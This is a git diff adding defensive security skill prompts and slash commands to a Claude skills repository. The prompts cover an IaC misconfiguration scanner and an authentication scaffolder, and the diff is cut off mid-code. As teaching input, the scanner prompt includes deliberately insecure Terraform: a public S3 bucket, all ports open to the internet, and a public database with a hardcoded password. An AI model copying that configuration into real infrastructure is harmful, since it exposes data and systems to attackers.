diff --git a/.claude/commands/analyze-cve.md b/.claude/commands/analyze-cve.md new file mode 100644 index 0000000..6ac2884 --- /dev/null +++ b/.claude/commands/analyze-cve.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/security/cve-analyzer.md + +Then analyze the CVE in: $ARGUMENTS + +If no CVE ID or vulnerability details are specified, ask the user for the CVE identifier and their affected technology stack. diff --git a/.claude/commands/gen-detection-rule.md b/.claude/commands/gen-detection-rule.md new file mode 100644 index 0000000..4427648 --- /dev/null +++ b/.claude/commands/gen-detection-rule.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/security/detection-rule-generator.md + +Then generate a detection rule for: $ARGUMENTS + +If no threat or attack scenario is specified, ask the user to describe the threat they want to detect and their SIEM platform. diff --git a/.claude/commands/gen-sbom.md b/.claude/commands/gen-sbom.md new file mode 100644 index 0000000..2d3842c --- /dev/null +++ b/.claude/commands/gen-sbom.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/developer/sbom-generator.md + +Then generate an SBOM for: $ARGUMENTS + +If no dependency manifest or project details are specified, ask the user to provide the manifest file and desired output format (SPDX or CycloneDX). diff --git a/.claude/commands/lint-dockerfile.md b/.claude/commands/lint-dockerfile.md new file mode 100644 index 0000000..a162520 --- /dev/null +++ b/.claude/commands/lint-dockerfile.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/developer/dockerfile-security-linter.md + +Then lint the Dockerfile or Docker Compose file in: $ARGUMENTS + +If no file is specified, ask the user to paste the Dockerfile or Docker Compose content to review. diff --git a/.claude/commands/pr-checklist.md b/.claude/commands/pr-checklist.md new file mode 100644 index 0000000..a42ab8b --- /dev/null +++ b/.claude/commands/pr-checklist.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/team/pr-security-checklist.md + +Then generate a security review checklist for: $ARGUMENTS + +If no PR diff or description is specified, ask the user to describe the changes or paste the diff. diff --git a/.claude/commands/review-api.md b/.claude/commands/review-api.md new file mode 100644 index 0000000..6a01de2 --- /dev/null +++ b/.claude/commands/review-api.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/developer/secure-api-design-reviewer.md + +Then review the API specification or design in: $ARGUMENTS + +If no API spec is specified, ask the user to provide the OpenAPI/Swagger spec, GraphQL schema, or endpoint descriptions to review. diff --git a/.claude/commands/scaffold-auth.md b/.claude/commands/scaffold-auth.md new file mode 100644 index 0000000..9c089c9 --- /dev/null +++ b/.claude/commands/scaffold-auth.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/developer/auth-flow-scaffolder.md + +Then scaffold a secure authentication flow for: $ARGUMENTS + +If no auth pattern or stack is specified, ask the user for their language/framework and the type of auth flow they need. diff --git a/.claude/commands/scan-iac.md b/.claude/commands/scan-iac.md new file mode 100644 index 0000000..c008525 --- /dev/null +++ b/.claude/commands/scan-iac.md @@ -0,0 +1,5 @@ +Read and follow all instructions in skills/claude/cloud/iac-scanner.md + +Then scan the infrastructure-as-code template in: $ARGUMENTS + +If no file is specified, ask the user to paste the Terraform, CloudFormation, or other IaC template to review. diff --git a/README.md b/README.md index 5fa3f0b..a85ba2c 100644 --- a/README.md +++ b/README.md @@ -115,6 +115,10 @@ Specialized security skill prompts organized by persona. Each skill is a standal | **Dependency Auditor** | Audit dependency manifests for known vulnerabilities and suggest upgrades | [dependency-auditor.md](skills/claude/developer/dependency-auditor.md) | | **Input Validation Generator** | Generate validation schemas and sanitization logic for endpoints and forms | [input-validation-generator.md](skills/claude/developer/input-validation-generator.md) | | **CI/CD Security Hardener** | Review pipeline configs for secret leaks, injection risks, and excessive permissions | [cicd-security-hardener.md](skills/claude/developer/cicd-security-hardener.md) | +| **Auth Flow Scaffolder** | Scaffold secure OAuth2, OIDC, JWT, and session-based authentication flows | [auth-flow-scaffolder.md](skills/claude/developer/auth-flow-scaffolder.md) | +| **Dockerfile Security Linter** | Analyze Dockerfiles for root execution, unverified images, and secret leakage | [dockerfile-security-linter.md](skills/claude/developer/dockerfile-security-linter.md) | +| **SBOM Generator** | Produce Software Bill of Materials in SPDX or CycloneDX format for compliance | [sbom-generator.md](skills/claude/developer/sbom-generator.md) | +| **Secure API Design Reviewer** | Review OpenAPI specs for auth gaps, data exposure, and missing rate limiting | [secure-api-design-reviewer.md](skills/claude/developer/secure-api-design-reviewer.md) | ### Security Skills @@ -123,12 +127,21 @@ Specialized security skill prompts organized by persona. Each skill is a standal | **Threat Model Generator** | Produce structured threat models (STRIDE) from architecture descriptions | [threat-model-generator.md](skills/claude/security/threat-model-generator.md) | | **Incident Response Playbook Builder** | Generate IR runbooks for specific incident scenarios | [incident-response-playbook-builder.md](skills/claude/security/incident-response-playbook-builder.md) | | **Hardening Checklist Generator** | Produce CIS-benchmark-style hardening checklists for OS/service/cloud configs | [hardening-checklist-generator.md](skills/claude/security/hardening-checklist-generator.md) | +| **Detection Rule Generator** | Write SIEM detection rules in Sigma, Splunk SPL, and KQL from threat descriptions | [detection-rule-generator.md](skills/claude/security/detection-rule-generator.md) | +| **CVE Analyzer** | Summarize CVEs, assess stack-specific impact, and provide prioritized remediation | [cve-analyzer.md](skills/claude/security/cve-analyzer.md) | ### Cloud / Infrastructure Skills | Skill | Description | File | |-------|-------------|------| | **IAM Policy Analyzer** | Review AWS/GCP/Azure IAM policies for over-permissive access | [iam-policy-analyzer.md](skills/claude/cloud/iam-policy-analyzer.md) | +| **IaC Scanner** | Review Terraform and CloudFormation for public exposure, missing encryption, and IAM risks | [iac-scanner.md](skills/claude/cloud/iac-scanner.md) | + +### Team Lead Skills + +| Skill | Description | File | +|-------|-------------|------| +| **PR Security Review Checklist** | Generate security-focused PR review checklists tailored to the diff and change type | [pr-security-checklist.md](skills/claude/team/pr-security-checklist.md) | ### User Skills @@ -164,10 +177,11 @@ skillvault/ ├── README.md └── skills/ └── claude/ - ├── developer/ # Developer-focused skills - ├── security/ # Security professional skills - ├── cloud/ # Cloud/infrastructure skills - └── user/ # Non-technical user skills + ├── developer/ # Developer-focused skills (9 skills) + ├── security/ # Security professional skills (5 skills) + ├── cloud/ # Cloud/infrastructure skills (2 skills) + ├── team/ # Team lead / engineering manager skills (1 skill) + └── user/ # Non-technical user skills (1 skill) ``` See [ideation.md](ideation.md) for the full skill ideation map with 40+ planned skills across 5 personas. @@ -226,16 +240,22 @@ Auto-detection is built in — `skillvault init` detects any of these and offers ### Next Skills (from [ideation.md](ideation.md)) -| Skill | Persona | Priority | -|-------|---------|----------| -| Auth Flow Scaffolder | Developer | High | -| Dockerfile Security Linter | Developer | High | -| Detection Rule Generator (Sigma/SPL/KQL) | Security | High | -| IaC Scanner (Terraform/CloudFormation) | Cloud | High | -| SBOM Generator | Developer | Medium | -| CVE Analyzer | Security | Medium | -| Secure API Design Reviewer | Developer | Medium | -| PR Security Review Checklist | Team Lead | Medium | +| Skill | Persona | Priority | Status | +|-------|---------|----------|--------| +| Auth Flow Scaffolder | Developer | High | Shipped | +| Dockerfile Security Linter | Developer | High | Shipped | +| Detection Rule Generator (Sigma/SPL/KQL) | Security | High | Shipped | +| IaC Scanner (Terraform/CloudFormation) | Cloud | High | Shipped | +| SBOM Generator | Developer | Medium | Shipped | +| CVE Analyzer | Security | Medium | Shipped | +| Secure API Design Reviewer | Developer | Medium | Shipped | +| PR Security Review Checklist | Team Lead | Medium | Shipped | +| Attack Surface Mapper | Security | High | Planned | +| Network Security Reviewer | Cloud | High | Planned | +| Cloud Misconfiguration Scanner | Cloud | High | Planned | +| Parameterized Query Converter | Developer | Medium | Planned | +| Log Analysis Assistant | Security | Medium | Planned | +| Policy & Compliance Drafter | Security | Medium | Planned | --- diff --git a/ideation.md b/ideation.md index 671faa4..fac3eea 100644 --- a/ideation.md +++ b/ideation.md @@ -160,6 +160,19 @@ Ranked by frequency x impact x automation potential x persona reach x gap in exi | 9 | **Phishing Email Analyzer** | Regular User | [skills/claude/user/phishing-email-analyzer.md](skills/claude/user/phishing-email-analyzer.md) | | 10 | **Hardening Checklist Generator** | Security, Cloud/Infra | [skills/claude/security/hardening-checklist-generator.md](skills/claude/security/hardening-checklist-generator.md) | +## Phase 2 Skills (Shipped) + +| # | Skill | Persona(s) | File | +|---|-------|-----------|------| +| 11 | **Auth Flow Scaffolder** | Developer | [skills/claude/developer/auth-flow-scaffolder.md](skills/claude/developer/auth-flow-scaffolder.md) | +| 12 | **Dockerfile Security Linter** | Developer, Security | [skills/claude/developer/dockerfile-security-linter.md](skills/claude/developer/dockerfile-security-linter.md) | +| 13 | **Detection Rule Generator** | Security | [skills/claude/security/detection-rule-generator.md](skills/claude/security/detection-rule-generator.md) | +| 14 | **IaC Scanner** | Developer, Security, Cloud/Infra | [skills/claude/cloud/iac-scanner.md](skills/claude/cloud/iac-scanner.md) | +| 15 | **SBOM Generator** | Developer, Security | [skills/claude/developer/sbom-generator.md](skills/claude/developer/sbom-generator.md) | +| 16 | **CVE Analyzer** | Security, Developer | [skills/claude/security/cve-analyzer.md](skills/claude/security/cve-analyzer.md) | +| 17 | **Secure API Design Reviewer** | Developer, Security | [skills/claude/developer/secure-api-design-reviewer.md](skills/claude/developer/secure-api-design-reviewer.md) | +| 18 | **PR Security Review Checklist** | Team Lead, Developer, Security | [skills/claude/team/pr-security-checklist.md](skills/claude/team/pr-security-checklist.md) | + --- ## Next Steps @@ -167,5 +180,7 @@ Ranked by frequency x impact x automation potential x persona reach x gap in exi - [x] Prioritize top 10 skills across personas - [x] Define input/output format for each skill (what does the user provide, what does the agent return?) - [x] Build prototype prompts for highest-priority skills +- [x] Implement Phase 2 skills (Auth Flow Scaffolder, Dockerfile Linter, Detection Rules, IaC Scanner, SBOM Generator, CVE Analyzer, API Design Reviewer, PR Checklist) - [ ] Test against real-world scenarios and edge cases - [ ] Package as reusable Claude.md instructions or project-level skill files +- [ ] Implement Phase 3 skills (Attack Surface Mapper, Network Security Reviewer, Cloud Misconfiguration Scanner, Log Analysis Assistant, Policy & Compliance Drafter) diff --git a/lib/installer.js b/lib/installer.js index 5a86e42..9e44610 100644 --- a/lib/installer.js +++ b/lib/installer.js @@ -11,11 +11,19 @@ const SKILLS = [ { name: "Dependency Auditor", slug: "audit-deps", category: "developer", file: "dependency-auditor.md", command: "audit-deps.md" }, { name: "Input Validation Generator", slug: "gen-validation", category: "developer", file: "input-validation-generator.md", command: "gen-validation.md" }, { name: "CI/CD Security Hardener", slug: "harden-cicd", category: "developer", file: "cicd-security-hardener.md", command: "harden-cicd.md" }, + { name: "Auth Flow Scaffolder", slug: "scaffold-auth", category: "developer", file: "auth-flow-scaffolder.md", command: "scaffold-auth.md" }, + { name: "Dockerfile Security Linter", slug: "lint-dockerfile", category: "developer", file: "dockerfile-security-linter.md", command: "lint-dockerfile.md" }, + { name: "SBOM Generator", slug: "gen-sbom", category: "developer", file: "sbom-generator.md", command: "gen-sbom.md" }, + { name: "Secure API Design Reviewer", slug: "review-api", category: "developer", file: "secure-api-design-reviewer.md", command: "review-api.md" }, { name: "Threat Model Generator", slug: "threat-model", category: "security", file: "threat-model-generator.md", command: "threat-model.md" }, { name: "Incident Response Playbook Builder", slug: "ir-playbook", category: "security", file: "incident-response-playbook-builder.md", command: "ir-playbook.md" }, { name: "Hardening Checklist Generator", slug: "harden-checklist", category: "security", file: "hardening-checklist-generator.md", command: "harden-checklist.md" }, + { name: "Detection Rule Generator", slug: "gen-detection-rule", category: "security", file: "detection-rule-generator.md", command: "gen-detection-rule.md" }, + { name: "CVE Analyzer", slug: "analyze-cve", category: "security", file: "cve-analyzer.md", command: "analyze-cve.md" }, { name: "IAM Policy Analyzer", slug: "analyze-iam", category: "cloud", file: "iam-policy-analyzer.md", command: "analyze-iam.md" }, + { name: "IaC Scanner", slug: "scan-iac", category: "cloud", file: "iac-scanner.md", command: "scan-iac.md" }, { name: "Phishing Email Analyzer", slug: "check-phishing", category: "user", file: "phishing-email-analyzer.md", command: "check-phishing.md" }, + { name: "PR Security Review Checklist", slug: "pr-checklist", category: "team", file: "pr-security-checklist.md", command: "pr-checklist.md" }, ]; // ── Platform Registry ──────────────────────────────────────────────────────── diff --git a/skills/claude/cloud/iac-scanner.md b/skills/claude/cloud/iac-scanner.md new file mode 100644 index 0000000..0443d18 --- /dev/null +++ b/skills/claude/cloud/iac-scanner.md @@ -0,0 +1,300 @@ +--- +name: iac-scanner +description: Review Terraform and CloudFormation templates for security misconfigurations such as public S3 buckets, open security groups, and unencrypted storage +personas: [Developer, Security, Cloud/Infra] +--- + +# Infrastructure-as-Code Security Scanner + +Reviews Terraform (`.tf`), CloudFormation (`.yaml`/`.json`), and Pulumi infrastructure definitions for security misconfigurations. Identifies public exposure risks, missing encryption, overly permissive access controls, and deviations from cloud security best practices. Maps findings to CIS Benchmarks, AWS/GCP/Azure security baselines, and MITRE ATT&CK Cloud Matrix. + +## Input + +The user provides one or more of the following: + +- A Terraform `.tf` file or directory +- A CloudFormation template (YAML or JSON) +- A Pulumi program excerpt +- A CDK stack definition + +Optionally: + +- Target cloud provider (AWS, GCP, Azure) +- Environment context (production, staging, dev) +- Specific concerns (e.g., "focus on S3 and IAM", "check for public exposure") + +### Example input + +```hcl +resource "aws_s3_bucket" "data" { + bucket = "my-company-data" + acl = "public-read" +} + +resource "aws_security_group" "web" { + name = "web-sg" + ingress { + from_port = 0 + to_port = 65535 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } +} + +resource "aws_db_instance" "main" { + engine = "postgres" + instance_class = "db.t3.micro" + username = "admin" + password = "Password123!" + publicly_accessible = true +} +``` + +## Output + +A structured report containing: + +1. **Summary** -- Risk level and finding counts by severity. +2. **Findings Table** -- Each finding with ID, severity, resource, misconfiguration, impact, and fix. +3. **Remediated Code** -- Corrected IaC with inline comments explaining the security changes. +4. **Additional Hardening** -- Defense-in-depth suggestions not covered by the findings. + +Severity definitions: + +| Severity | Meaning | +|----------|---------| +| Critical | Immediate public exposure or full access compromise possible | +| High | Significant attack surface increase or data exposure risk | +| Medium | Exploitable under specific conditions; defense-in-depth violation | +| Low | Best-practice deviation with limited direct impact | +| Informational | Hardening suggestion or observability improvement | + +## Instructions + +You are a cloud security architect reviewing IaC templates before production deployment. Apply the following checks systematically. + +### 1. Public Exposure Checks (Critical/High) + +**S3 Buckets (AWS):** +- `acl = "public-read"` or `"public-read-write"` → Critical +- Missing `aws_s3_bucket_public_access_block` resource → High +- Missing bucket policy that enforces `https` only → Medium + +**Security Groups / Firewall Rules:** +- `cidr_blocks = ["0.0.0.0/0"]` or `"::/0"` on ports beyond 80/443 → High/Critical depending on port +- Port 22 (SSH), 3389 (RDP), 3306 (MySQL), 5432 (Postgres), 27017 (MongoDB), 6379 (Redis) open to `0.0.0.0/0` → Critical +- All ports open (`from_port = 0, to_port = 65535`) → Critical + +**Databases and Caches:** +- `publicly_accessible = true` on RDS, ElastiCache, Redshift → Critical +- Missing VPC placement → High + +**Cloud Functions / Lambdas:** +- Function URLs with `auth_type = "NONE"` → High +- Missing resource-based policy → Medium + +**Kubernetes (EKS/GKE/AKS):** +- Public API server endpoint without CIDR restriction → High +- `privileged: true` in pod spec → Critical +- Host network/PID namespace sharing → High + +### 2. Encryption Checks (High/Medium) + +- S3 bucket missing server-side encryption (`aws_s3_bucket_server_side_encryption_configuration`) → High +- EBS volumes with `encrypted = false` (or missing) → High +- RDS with `storage_encrypted = false` → High +- SQS queue without `kms_master_key_id` → Medium +- SNS topic without encryption → Medium +- ElastiCache without `at_rest_encryption_enabled = true` → High +- Secrets stored as plaintext in parameter store (SSM `type = "String"` vs `"SecureString"`) → High +- CloudTrail without `kms_key_id` → Medium + +### 3. IAM and Access Control (Critical/High) + +- IAM policy with `"*"` on both `Action` and `Resource` → Critical +- Inline IAM policies (prefer managed) → Low +- IAM role with `"sts:AssumeRole"` from `"*"` principal → Critical +- S3 bucket policy granting `s3:*` to `"*"` → Critical +- Missing `condition` blocks on cross-account trust policies → High +- Lambda execution role with `"*"` actions → High + +### 4. Logging and Monitoring (Medium/Low) + +- CloudTrail not enabled or missing multi-region → Medium +- S3 bucket access logging disabled → Low +- VPC flow logs not enabled → Medium +- RDS without `enabled_cloudwatch_logs_exports` → Low +- Missing AWS Config rules reference → Informational + +### 5. Secrets in Plaintext (Critical) + +- Hardcoded passwords in `password = "..."` → Critical +- Hardcoded access keys or tokens → Critical +- Recommend: Use `data "aws_secretsmanager_secret_version"` or `aws_ssm_parameter` with `SecureString`. + +### 6. Network Architecture (High/Medium) + +- Resources placed in default VPC → Medium +- Subnets without explicit `map_public_ip_on_launch = false` for private subnets → Medium +- Missing NACLs or reliance solely on security groups → Informational +- VPC endpoints not used for S3/DynamoDB access (traffic traverses public internet) → Informational + +### 7. CloudFormation-Specific Checks + +- `DeletionPolicy: Delete` on production databases → High +- Missing stack termination protection → Medium +- `NoEcho: false` on sensitive parameters → High +- Hardcoded account IDs instead of `!Sub ${AWS::AccountId}` → Low + +### 8. Remediation Quality + +- Every Critical and High finding must include corrected IaC. +- Fixes must be valid, functional code in the same language/format as input. +- Do not introduce new misconfigurations in fixes. +- Add inline comments explaining why each security control was added. + +## Examples + +### Example 1: Terraform AWS — Public S3, Open SG, Public RDS + +**Input:** + +```hcl +resource "aws_s3_bucket" "data" { + bucket = "my-company-data" + acl = "public-read" +} + +resource "aws_security_group" "web" { + name = "web-sg" + ingress { + from_port = 0 + to_port = 65535 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } +} + +resource "aws_db_instance" "main" { + engine = "postgres" + instance_class = "db.t3.micro" + username = "admin" + password = "Password123!" + publicly_accessible = true +} +``` + +**Output:** + +### Summary + +Risk level: **Critical**. Found 3 Critical and 2 High findings. The S3 bucket is publicly readable, all TCP ports are open to the internet, the database is publicly accessible with a hardcoded password, and encryption is missing. + +### Findings + +| ID | Severity | Resource | Misconfiguration | Impact | +|----|----------|----------|-----------------|--------| +| F-01 | Critical | aws_s3_bucket.data | `acl = "public-read"` | All objects readable by anyone on the internet | +| F-02 | Critical | aws_security_group.web | All TCP ports open to `0.0.0.0/0` | Full port exposure to internet — SSH, databases, admin interfaces accessible | +| F-03 | Critical | aws_db_instance.main | `publicly_accessible = true` + hardcoded password | Database reachable from internet with guessable credentials | +| F-04 | High | aws_s3_bucket.data | Missing public access block and SSE | Data can be exposed or tampered with without detection | +| F-05 | High | aws_db_instance.main | `storage_encrypted = false` (default) | Data at rest unencrypted | + +### Remediated Terraform + +```hcl +# S3 bucket: private, encrypted, with public access block +resource "aws_s3_bucket" "data" { + bucket = "my-company-data" + # Removed: acl = "public-read" — use bucket policies for controlled access +} + +resource "aws_s3_bucket_public_access_block" "data" { + bucket = aws_s3_bucket.data.id + + block_public_acls = true + block_public_policy = true + ignore_public_acls = true + restrict_public_buckets = true +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "data" { + bucket = aws_s3_bucket.data.id + rule { + apply_server_side_encryption_by_default { + sse_algorithm = "aws:kms" + } + } +} + +# Security group: only allow HTTPS (443) from internet; SSH only from VPN CIDR +resource "aws_security_group" "web" { + name = "web-sg" + vpc_id = var.vpc_id + + # HTTPS only from internet + ingress { + from_port = 443 + to_port = 443 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } + + # SSH restricted to VPN/bastion CIDR — set your actual VPN CIDR in variables + ingress { + from_port = 22 + to_port = 22 + protocol = "tcp" + cidr_blocks = [var.vpn_cidr] + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } +} + +# RDS: private, encrypted, password from Secrets Manager +data "aws_secretsmanager_secret_version" "db_password" { + secret_id = var.db_secret_arn +} + +resource "aws_db_instance" "main" { + engine = "postgres" + instance_class = "db.t3.micro" + username = "admin" + password = data.aws_secretsmanager_secret_version.db_password.secret_string + + # Keep database private — accessed via application subnets only + publicly_accessible = false + db_subnet_group_name = aws_db_subnet_group.main.name + vpc_security_group_ids = [aws_security_group.db.id] + + # Encrypt storage at rest + storage_encrypted = true + + # Enable automated backups + backup_retention_period = 7 + + # Enable deletion protection for production + deletion_protection = true +} +``` + +### Additional Hardening + +- Enable VPC flow logs to monitor network traffic. +- Enable CloudTrail with S3 data event logging for the bucket. +- Add `aws_s3_bucket_logging` to the data bucket. +- Consider using AWS PrivateLink for RDS access from application services. + +## Edge Cases & Guardrails + +- **Dev/test environments**: If the user specifies this is dev-only, still flag Critical findings but note lower urgency for Medium/Low. +- **Intentionally public buckets** (static website hosting): Acknowledge the intent and ensure a bucket policy restricts access to `s3:GetObject` only with `https` enforcement. +- **Missing provider context**: If the cloud provider is unclear from the template, ask before generating provider-specific fixes. +- **Partial templates (modules)**: Note that the review is limited to the provided code and full security posture depends on how modules are called. +- **Terraform state files**: Warn if state files may be stored without encryption (remote state with S3 backend should have encryption and DynamoDB locking). +- **Do not generate real credentials**: Never output real-looking passwords, access keys, or tokens in remediated code. diff --git a/skills/claude/developer/auth-flow-scaffolder.md b/skills/claude/developer/auth-flow-scaffolder.md new file mode 100644 index 0000000..cfbcd34 --- /dev/null +++ b/skills/claude/developer/auth-flow-scaffolder.md @@ -0,0 +1,300 @@ +--- +name: auth-flow-scaffolder +description: Scaffold secure authentication and authorization flows using OAuth2, OIDC, JWT, and session-based patterns +personas: [Developer] +--- + +# Auth Flow Scaffolder + +Generates secure authentication and authorization boilerplate for web applications and APIs. Produces production-ready code that follows OAuth 2.0, OpenID Connect (OIDC), and JWT best practices, avoiding common implementation mistakes such as insecure token storage, missing PKCE, weak secret handling, and improper session management. + +## Input + +The user provides one or more of the following: + +- The auth pattern they need (OAuth2, OIDC, JWT, session-based, API key, mTLS) +- Target language and framework (e.g., "Node.js + Express", "Python + FastAPI", "Go + Chi") +- Identity provider or service (e.g., Auth0, Okta, Cognito, Google, self-hosted Keycloak) +- Use case context (e.g., "SPA with backend API", "server-rendered web app", "machine-to-machine") + +Optionally: + +- Specific security requirements (e.g., "must support MFA", "require short-lived tokens") +- Existing code to extend or integrate with + +### Example input + +``` +Scaffold a JWT-based auth flow for a Node.js + Express REST API with refresh tokens. +Clients are SPAs. Tokens should be short-lived (15 min access, 7 day refresh). +``` + +## Output + +Scaffolded, production-ready code including: + +1. **Overview** -- Auth pattern chosen, key security decisions, and assumptions. +2. **Implementation** -- Complete, runnable code with inline comments explaining security choices. +3. **Security Notes** -- A concise list of security properties the scaffold provides and any remaining responsibilities for the developer. +4. **Configuration Checklist** -- Environment variables, secrets, and infrastructure settings required before deployment. +5. **What to Avoid** -- Common mistakes for this pattern and how the scaffold prevents them. + +## Instructions + +You are a senior security engineer specializing in identity and access management. Generate auth scaffolds that are secure by default. + +### 1. Pattern Selection + +Choose the correct auth pattern based on context: + +| Scenario | Recommended Pattern | +|----------|-------------------| +| SPA + API (same org) | OAuth2 Authorization Code + PKCE | +| Server-rendered web app | Session-based auth with CSRF protection | +| Machine-to-machine / service accounts | OAuth2 Client Credentials | +| Mobile app + API | OAuth2 Authorization Code + PKCE | +| API with third-party callers | API keys with HMAC or OAuth2 | +| Microservices internal | mTLS or service mesh identity | + +### 2. JWT Best Practices (when applicable) + +- Use short-lived access tokens (≤ 15 minutes). +- Use opaque refresh tokens stored server-side (not in JWTs). +- Sign with RS256 or ES256 — never HS256 with a shared secret in distributed systems. +- Include only necessary claims; never embed sensitive user data in the payload. +- Validate `iss`, `aud`, `exp`, `nbf` on every request. +- Implement token rotation: invalidate the old refresh token when issuing a new one. +- Store refresh tokens in `HttpOnly`, `Secure`, `SameSite=Strict` cookies — never in localStorage. + +### 3. OAuth2 / OIDC Best Practices + +- Always use PKCE (`code_challenge_method=S256`) for public clients, even when a client secret is present. +- Validate the `state` parameter to prevent CSRF on the redirect. +- Validate the `nonce` claim in OIDC ID tokens. +- Use exact-match redirect URI validation on the server side. +- Prefer authorization code flow; never use implicit flow. +- Request minimal scopes. + +### 4. Session-Based Auth Best Practices + +- Generate session IDs with a cryptographically secure PRNG (≥ 128 bits of entropy). +- Rotate session ID on privilege level change (login, logout, role change). +- Set session cookies with `HttpOnly`, `Secure`, `SameSite=Lax` (or `Strict`). +- Implement absolute and idle session timeouts. +- Implement CSRF protection (synchronizer token or double-submit cookie pattern). + +### 5. Password Handling (when applicable) + +- Use Argon2id (preferred), bcrypt (cost ≥ 12), or scrypt for password hashing — never SHA-*, MD5, or plain SHA. +- Never log, store in plaintext, or transmit passwords in query strings. +- Enforce minimum entropy (not just length/complexity rules). +- Use constant-time comparison for all secret comparisons. + +### 6. Error Handling & Information Leakage + +- Return generic error messages for auth failures — never reveal whether a username exists. +- Log auth events (success, failure, lockout) to a structured audit log without logging credentials. +- Implement account lockout or rate limiting for credential endpoints. + +### 7. Secrets Management + +- Never hardcode secrets, client secrets, or private keys. +- Use environment variables or a secrets manager (Vault, AWS Secrets Manager, etc.). +- Mark all required secrets clearly in configuration documentation. + +### 8. Code Quality + +- Every generated function must handle errors explicitly — no silent failures. +- Add inline comments explaining *why* each security control is present. +- Flag anything the developer must customize (e.g., token store, user lookup). + +## Examples + +### Example 1: JWT Auth for Node.js + Express + +**Input:** + +``` +JWT auth for Express REST API. Access tokens: 15 min. Refresh tokens: 7 days, stored in HttpOnly cookie. +``` + +**Output:** + +#### Overview + +Pattern: JWT with short-lived access tokens and server-side refresh token rotation. Access tokens are returned in the response body (Authorization header usage); refresh tokens are set as `HttpOnly` cookies, preventing JavaScript access. + +#### auth/tokens.js + +```javascript +const jwt = require("jsonwebtoken"); +const crypto = require("crypto"); + +// RS256 keys loaded from environment — never hardcode +const ACCESS_PRIVATE_KEY = process.env.JWT_PRIVATE_KEY; +const ACCESS_PUBLIC_KEY = process.env.JWT_PUBLIC_KEY; +const ACCESS_TTL = 15 * 60; // 15 minutes in seconds + +// In-memory store shown for clarity — use Redis or a DB in production +const refreshTokenStore = new Map(); // token -> { userId, expiresAt } + +function issueAccessToken(userId, roles) { + return jwt.sign( + { sub: userId, roles, iat: Math.floor(Date.now() / 1000) }, + ACCESS_PRIVATE_KEY, + { + algorithm: "RS256", + expiresIn: ACCESS_TTL, + audience: process.env.JWT_AUDIENCE, + issuer: process.env.JWT_ISSUER, + } + ); +} + +function issueRefreshToken(userId) { + // Cryptographically random opaque token — not a JWT + const token = crypto.randomBytes(48).toString("hex"); + const expiresAt = Date.now() + 7 * 24 * 60 * 60 * 1000; // 7 days + refreshTokenStore.set(token, { userId, expiresAt }); + return token; +} + +function rotateRefreshToken(oldToken) { + const record = refreshTokenStore.get(oldToken); + if (!record) return null; // Invalid or already used (rotation) + if (Date.now() > record.expiresAt) { + refreshTokenStore.delete(oldToken); + return null; // Expired + } + // Invalidate old token immediately (prevents replay) + refreshTokenStore.delete(oldToken); + return { userId: record.userId, newRefreshToken: issueRefreshToken(record.userId) }; +} + +function verifyAccessToken(token) { + return jwt.verify(token, ACCESS_PUBLIC_KEY, { + algorithms: ["RS256"], + audience: process.env.JWT_AUDIENCE, + issuer: process.env.JWT_ISSUER, + }); +} + +module.exports = { issueAccessToken, issueRefreshToken, rotateRefreshToken, verifyAccessToken }; +``` + +#### auth/middleware.js + +```javascript +const { verifyAccessToken } = require("./tokens"); + +function authenticate(req, res, next) { + const authHeader = req.headers.authorization; + if (!authHeader || !authHeader.startsWith("Bearer ")) { + return res.status(401).json({ error: "Authentication required" }); + } + const token = authHeader.slice(7); + try { + req.user = verifyAccessToken(token); + next(); + } catch { + // Generic message — never reveal whether token is expired vs. invalid + return res.status(401).json({ error: "Invalid or expired token" }); + } +} + +module.exports = { authenticate }; +``` + +#### Security Notes + +- Access tokens are RS256-signed and validated with `aud` + `iss` checks. +- Refresh tokens are opaque (not JWTs), invalidated immediately on use (rotation prevents replay). +- Refresh tokens are delivered in `HttpOnly` cookies — inaccessible to JavaScript. +- Auth error messages are intentionally generic. + +#### Configuration Checklist + +```env +JWT_PRIVATE_KEY= +JWT_PUBLIC_KEY= +JWT_AUDIENCE=https://api.yourapp.com +JWT_ISSUER=https://auth.yourapp.com +``` + +#### What to Avoid + +- Do not store refresh tokens in `localStorage` or `sessionStorage` — XSS can steal them. +- Do not use HS256 with a shared secret in a distributed system — key rotation becomes a deployment problem. +- Do not return descriptive errors on token failure — attackers can distinguish expired vs. forged tokens. + +--- + +### Example 2: OAuth2 Authorization Code + PKCE (Node.js) + +**Input:** + +``` +OAuth2 PKCE flow for SPA + Node.js backend, using Auth0 as IdP. +``` + +**Output:** + +#### auth/oauth.js + +```javascript +const crypto = require("crypto"); + +// PKCE: generate a code verifier and its SHA-256 challenge +function generatePKCE() { + const verifier = crypto.randomBytes(32).toString("base64url"); + const challenge = crypto.createHash("sha256").update(verifier).digest("base64url"); + return { verifier, challenge }; +} + +// Generate a random state value to prevent CSRF on the redirect +function generateState() { + return crypto.randomBytes(16).toString("hex"); +} + +function buildAuthorizationURL({ state, codeChallenge }) { + const params = new URLSearchParams({ + response_type: "code", + client_id: process.env.AUTH0_CLIENT_ID, + redirect_uri: process.env.AUTH0_REDIRECT_URI, // Exact match enforced by Auth0 + scope: "openid profile email", // Request only what you need + state, // CSRF protection + code_challenge: codeChallenge, + code_challenge_method: "S256", + }); + return `https://${process.env.AUTH0_DOMAIN}/authorize?${params}`; +} + +async function exchangeCodeForTokens(code, verifier) { + const res = await fetch(`https://${process.env.AUTH0_DOMAIN}/oauth/token`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + grant_type: "authorization_code", + client_id: process.env.AUTH0_CLIENT_ID, + client_secret: process.env.AUTH0_CLIENT_SECRET, // Keep server-side only + code, + redirect_uri: process.env.AUTH0_REDIRECT_URI, + code_verifier: verifier, // PKCE verification + }), + }); + if (!res.ok) throw new Error("Token exchange failed"); + return res.json(); +} + +module.exports = { generatePKCE, generateState, 